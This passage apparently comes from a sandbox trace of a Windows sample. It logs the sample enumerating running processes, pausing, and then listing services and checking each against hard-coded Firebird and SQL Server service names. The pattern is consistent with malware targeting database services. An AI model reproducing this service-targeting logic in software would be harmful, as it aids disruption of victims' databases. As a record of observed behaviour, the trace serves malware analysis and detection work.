dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0170.175] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0170.175] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0170.176] lstrlenW (lpString="stream-test.exe") returned 15 [0170.176] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0170.177] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0170.177] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.178] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.178] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0170.179] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0170.179] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0170.179] lstrlenW (lpString="movers-indication.exe") returned 21 [0170.180] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0170.180] lstrlenW (lpString="drama tv thee.exe") returned 17 [0170.180] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0170.181] lstrlenW (lpString="barriers.exe") returned 12 [0170.181] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0170.182] lstrlenW (lpString="shootclick.exe") returned 14 [0170.182] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0170.183] lstrlenW (lpString="nickel.exe") returned 10 [0170.183] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0170.184] lstrlenW (lpString="imperialopened.exe") returned 18 [0170.184] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0170.184] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0170.185] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0170.185] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0170.185] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0170.186] lstrlenW (lpString="perhapssentences.exe") returned 20 [0170.186] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.187] lstrlenW (lpString="dllhost.exe") returned 11 [0170.187] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.188] lstrlenW (lpString="svchost.exe") returned 11 [0170.188] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0170.189] lstrlenW (lpString="chrome64b.exe") returned 13 [0170.189] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0170.189] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0170.189] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.190] lstrlenW (lpString="conhost.exe") returned 11 [0170.190] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0170.191] lstrlenW (lpString="cmd.exe") returned 7 [0170.191] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.192] lstrlenW (lpString="conhost.exe") returned 11 [0170.192] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0170.193] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0170.193] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0170.194] lstrlenW (lpString="mode.com") returned 8 [0170.194] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0170.195] CloseHandle (hObject=0x360) returned 1 [0170.195] Sleep (dwMilliseconds=0x1f4) [0170.722] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce960 [0170.723] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0170.723] GetLastError () returned 0xea [0170.723] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e7778 [0170.723] EnumServicesStatusExW (in: hSCManager=0x7ce960, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e7778, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e7778, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0170.724] CloseServiceHandle (hSCObject=0x7ce960) returned 1 [0170.724] lstrlenW (lpString="Appinfo") returned 7 [0170.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.724] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.724] lstrlenW (lpString="AppXSvc") returned 7 [0170.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0170.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0170.724] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0170.724] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0170.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0170.724] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.724] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.724] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.724] lstrlenW (lpString="Audiosrv") returned 8 [0170.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0170.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0170.724] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0170.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0170.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0170.725] lstrlenW (lpString="BFE") returned 3 [0170.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.725] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.725] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.725] lstrlenW (lpString="BITS") returned 4 [0170.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0170.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0170.725] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0170.725] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0170.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0170.725] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0170.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0170.725] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0170.725] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0170.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0170.725] lstrlenW (lpString="CDPSvc") returned 6 [0170.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0170.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0170.725] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0170.725] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0170.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0170.725] lstrlenW (lpString="ClickToRunSvc") returned 13 [0170.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0170.725] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0170.725] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0170.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0170.725] lstrlenW (lpString="ClipSVC") returned 7 [0170.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0170.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0170.725] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0170.726] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0170.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0170.726] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0170.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0170.726] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0170.726] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0170.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0170.726] lstrlenW (lpString="CryptSvc") returned 8 [0170.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.726] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.726] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.726] lstrlenW (lpString="DcomLaunch") returned 10 [0170.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.726] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.726] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.726] lstrlenW (lpString="DeviceAssociationService") returned 24 [0170.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0170.726] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0170.726] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0170.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0170.726] lstrlenW (lpString="Dhcp") returned 4 [0170.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.726] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.726] lstrlenW (lpString="Dnscache") returned 8 [0170.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.727] lstrlenW (lpString="DoSvc") returned 5 [0170.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0170.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0170.727] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0170.727] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0170.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0170.727] lstrlenW (lpString="DPS") returned 3 [0170.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.727] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.727] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.727] lstrlenW (lpString="DusmSvc") returned 7 [0170.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0170.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0170.727] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0170.727] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0170.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0170.727] lstrlenW (lpString="EventLog") returned 8 [0170.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0170.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0170.727] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0170.727] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0170.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0170.727] lstrlenW (lpString="EventSystem") returned 11 [0170.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.727] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.727] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.728] lstrlenW (lpString="FontCache") returned 9 [0170.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0170.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0170.728] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0170.728] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0170.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0170.728] lstrlenW (lpString="gpsvc") returned 5 [0170.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.728] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.728] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0170.728] lstrlenW (lpString="iphlpsvc") returned 8 [0170.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.728] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.728] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.728] lstrlenW (lpString="KeyIso") returned 6 [0170.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0170.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0170.728] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0170.728] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0170.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0170.728] lstrlenW (lpString="LanmanServer") returned 12 [0170.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.728] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.728] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.728] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.728] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.729] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.729] lstrlenW (lpString="lfsvc") returned 5 [0170.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0170.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0170.729] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0170.729] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0170.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0170.729] lstrlenW (lpString="LicenseManager") returned 14 [0170.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0170.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0170.729] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0170.729] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0170.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0170.729] lstrlenW (lpString="lmhosts") returned 7 [0170.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.729] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.729] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.729] lstrlenW (lpString="LSM") returned 3 [0170.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0170.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0170.729] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0170.729] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0170.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0170.729] lstrlenW (lpString="MpsSvc") returned 6 [0170.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.729] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.729] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.729] lstrlenW (lpString="NcbService") returned 10 [0170.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0170.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0170.730] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0170.730] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0170.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0170.730] lstrlenW (lpString="netprofm") returned 8 [0170.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.730] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.730] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.730] lstrlenW (lpString="NlaSvc") returned 6 [0170.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0170.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.730] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.730] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.730] lstrlenW (lpString="nsi") returned 3 